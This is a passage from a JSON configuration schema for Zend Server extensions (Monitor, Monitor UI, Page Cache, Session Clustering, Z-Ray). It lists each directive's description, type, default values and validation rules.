                "shortDescription": "Enable code tracing collection for this period (seconds)",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "120"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.send_request_id": {
                "shortDescription": "When enabled, a cookie that represents the current request will be send to browser. Only needed for toolbar.",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.enable_cli": {
                "shortDescription": "Enable monitor on cli",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "Zend Monitor UI": {
        "name": "Zend Monitor UI",
        "extensionId": "monitor_ui",
        "isDaemon": 0,
        "shortDescription": "Zend Monitor UI extension.",
        "longDescription": "The Zend Monitor UI extension is used by Zend Server to query the\n\t\tMonitor's database for event information - This API is not for end-users.",
        "iniFileName": "monitor_ui.ini",
        "subPath": "monitor_ui",
        "zemExtension": true,
        "directives": {
            "zend_monitor.components_script": {
                "shortDescription": "",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor_ui.enabled": {
                "shortDescription": "Enables the Zend Monitor UI extension.",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor_ui.log_verbosity": {
                "shortDescription": "The log verbosity level.",
                "type": 3,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "2"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:6:{i:0;s:1:\"0\";i:1;s:1:\"1\";i:2;s:1:\"2\";i:3;s:1:\"3\";i:4;s:1:\"4\";i:5;s:1:\"5\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor_ui.events_rules_file_name": {
                "shortDescription": "Event rules XML configuration file.",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "monitor_rules.json"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor_ui.log_rotation_size": {
                "shortDescription": "The maximum size of the log file before it is rotated.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "10"
                    }
                ],
                "units": "MBytes",
                "validation": {
                    "minValue": 0,
                    "maxValue": 1000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.ui.commands_transport_parameter": {
                "shortDescription": "Network parameter for commands to the Monitor Node.",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "commands.sock",
                        "restrictions": [
                            {
                                "os": "UnixAll",
                                "product": "ZenithPE"
                            }
                        ]
                    },
                    {
                        "fixed": "commands",
                        "restrictions": [
                            {
                                "os": "WindowsAll",
                                "product": "ZenithPE"
                            }
                        ]
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor_ui.expiration_days_closed": {
                "shortDescription": "All \"Closed\" or \"Ignored\" issues that did not re-occur for more than expiration_days_closed will be deleted.",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "20"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor_ui.expiration_days": {
                "shortDescription": "All issues that did not re-occur for more than expiration_days will be deleted.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "30"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "Zend Page Cache": {
        "name": "Zend Page Cache",
        "extensionId": "pagecache",
        "isDaemon": 0,
        "shortDescription": "Improves application performance by conditionally caching PHP scripts output ",
        "longDescription": "The Zend Page Cache improves PHP application performance by caching the entire output of PHP scripts (HTML, XML, etc.), while still maintaining dynamic capabilities through an elaborate rules system.",
        "iniFileName": "pagecache.ini",
        "subPath": "pagecache",
        "zemExtension": true,
        "directives": {
            "zend_pagecache.enable": {
                "shortDescription": "Enables the Zend Page Cache extension.",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_pagecache.pulse.enable": {
                "shortDescription": "Enables Zend Page Cache Pulse Statistics",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_pagecache.save_path": {
                "shortDescription": "Location for saved cache files. This must point to an existing location.",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "pagecache"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_pagecache.dir_depth": {
                "shortDescription": "Depth of directory tree in which cached files are stored.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "2"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_pagecache.log_verbosity_level": {
                "shortDescription": "The log verbosity level [0-5].",
                "type": 3,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "2"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:6:{i:0;s:1:\"0\";i:1;s:1:\"1\";i:2;s:1:\"2\";i:3;s:1:\"3\";i:4;s:1:\"4\";i:5;s:1:\"5\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_pagecache.dependencies_file": {
                "shortDescription": "The location of the configuration file in which caching rules are stored.",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "pagecache_rules.xml"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_pagecache.compression_enable": {
                "shortDescription": "Enables file compression of cached output.",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_pagecache.clean_frequency": {
                "shortDescription": "How often expired entries are removed from the cache. The cleaning frequency is configured in seconds. ",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "300"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": 1,
                    "maxValue": 10000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_pagecache.log_rotation_size": {
                "shortDescription": "The maximum size of the log file before it is rotated.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "10"
                    }
                ],
                "units": "MBytes",
                "validation": {
                    "minValue": 0,
                    "maxValue": 1000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_pagecache.max_cached_rules": {
                "shortDescription": "The maximum number of entries allowed for the internal URL-rule cache.",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "100"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 1,
                    "maxValue": 10000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_pagecache.enable_qa_info": {
                "shortDescription": "Enables outputs for QA purposes.",
                "type": 3,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:2:{i:0;s:1:\"0\";i:1;s:1:\"1\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_pagecache.ordered_rule_matching": {
                "shortDescription": "Order rules matching according to rules names.",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_pagecache.enable_cli": {
                "shortDescription": "Enable cache on cli",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "Zend Session Clustering": {
        "name": "Zend Session Clustering",
        "extensionId": "sc",
        "isDaemon": 0,
        "shortDescription": "Provides a transparent and scalable solution for PHP session storage",
        "longDescription": "Zend Server's Session Clustering provides a transparent and scalable solution for PHP session storage. It is designed to provide good performance and high scalability - making sure clusters can grow without session storage becoming a bottleneck.",
        "iniFileName": "sc.ini",
        "subPath": "sc",
        "zemExtension": true,
        "directives": {
            "zend_sc.enable": {
                "shortDescription": "Enables the Session Clustering.",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.scd_port": {
                "shortDescription": "The port the SC daemon is listening to.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "10062"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 1,
                    "maxValue": 65535,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.use_unix_sockets": {
                "shortDescription": "Communication with mod cluster: 0 TCP, 1 Unix socket.",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.unix_socket_filename": {
                "shortDescription": "Unix socket filename to communicate with daemon.",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "scd.sock"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.quick_connect_timeout": {
                "shortDescription": "Timeout value for the check daemon status API.",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "500"
                    }
                ],
                "units": "milliseconds",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.lock_timeout": {
                "shortDescription": "Used when accessing locked sessions.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "minutes",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.lock_retry_timeout": {
                "shortDescription": "Used when retrying to access locked sessions.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1000"
                    }
                ],
                "units": "milliseconds",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.ha_enabled": {
                "shortDescription": "Enable High Availablity mode.",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.log_rotation_size": {
                "shortDescription": "Size of log before it's rotated.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "10"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 0,
                    "maxValue": 9999,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.session_compression_enabled": {
                "shortDescription": "When enabled, compress the sessions' data before passing it to the session clustering daemon.",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.log_verbosity_level": {
                "shortDescription": "The log verbosity level [0-5].",
                "type": 3,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "2"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:6:{i:0;s:1:\"0\";i:1;s:1:\"1\";i:2;s:1:\"2\";i:3;s:1:\"3\";i:4;s:1:\"4\";i:5;s:1:\"5\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "Zend Server Z-Ray": {
        "name": "Zend Server Z-Ray",
        "extensionId": "zray",
        "isDaemon": 0,
        "shortDescription": "Tracks and analyzes URL-level performance metrics on the server",
        "longDescription": "Tracks and analyzes URL-level performance metrics on the server",
        "iniFileName": "zray.ini",
        "subPath": "statistics",
        "zemExtension": true,
        "directives": {
            "zray.max_number_log_entries": {
                "shortDescription": "Set the maximum number of errors and warnings to collect",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "50"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 1,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zray.reload_zray_access_file_interval": {
                "shortDescription": "Check for ZRay access file for modification every N seconds",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "10"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zray.collect_backtrace.errors_warnings": {
                "shortDescription": "Enable collection of backtraces for Errors and Warnings",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 0
            },
            "zray.collect_backtrace.sql_queries": {
                "shortDescription": "Enable collection of backtraces for SQL queries",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 0
            },
            "zray.disable_injection": {
                "shortDescription": "When in 'Enable Mode' disable ZRay injection",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zray.disable_actions": {
                "shortDescription": "When in 'Enable Mode' disable ZRay actions",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zray.enable_extensibility": {
                "shortDescription": "Load and compile ZRay extensibility extensions",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 0
            },
            "zray.collect_blacklist": {
                "shortDescription": "Disable zray If the URL ends with a suffix from the list. This is a comma delimited list",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ".png,.css,.js,.jpg,.jpeg"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zray.cleanup_frequency": {
                "shortDescription": "Frequency for automatic cleanup. 0 to disable.",
                "type": 9,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "10"
                    }
                ],
                "units": "minutes",
                "validation": {
                    "minValue": 0,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zray.max_db_size": {
                "shortDescription": "Database size limit for requests data",
                "type": 9,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "GBytes",
                "validation": {
                    "minValue": 0,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zray.history_time": {
                "shortDescription": "Time limit for kept requests data",
                "type": 9,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "7"
                    }
                ],
                "units": "days",
                "validation": {
                    "minValue": 0,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zray.cleanup_keep_urls": {
                "shortDescription": "The number of most recent URLs for which data is retained after a manual cleanup is executed",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "7"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zray.enable": {
                "shortDescription": "Enable Z-Ray",
                "type": 3,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:3:{i:0;s:1:\"0\";i:1;s:1:\"1\";i:2;s:1:\"2\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zray.enable_cli": {
                "shortDescription": "Enable Z-Ray for CLI requests",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 0
            },
            "zray.allowed_hosts": {
                "shortDescription": "Comma separated allowed list to view the Z-Ray",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zray.zendserver_ui_url": {
                "shortDescription": "The Url of the Zend Server UI. e.g. 'http:\/\/10.1.1.1:10081\/ZendServer'",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zray.url_cache_size": {
                "shortDescription": "Size limit for internal caching of unique URLs and SQL prepared statements",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "MBytes",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zray.collect_sql": {
                "shortDescription": "Enable collection of data for executed SQL queries",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zray.collect_functions": {
                "shortDescription": "Enable collection of data for executed PHP functions",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zray.collect_breakdown": {
                "shortDescription": "Enable collection of processing breakdown for requests. Also affects the 'Processing Breakdown' graph in the Statistics gallery.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zray.collect_events": {
                "shortDescription": "Enable collection of data for Zend Monitor Events",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zray.collect_errors": {
                "shortDescription": "Enable collection of PHP errors, warnings and notices",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zray.enable_memory_manager": {
                "shortDescription": "",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zray.disable_database_writing": {
                "shortDescription": "",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zray.gzip_mode": {
                "shortDescription": "",
                "type": 3,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
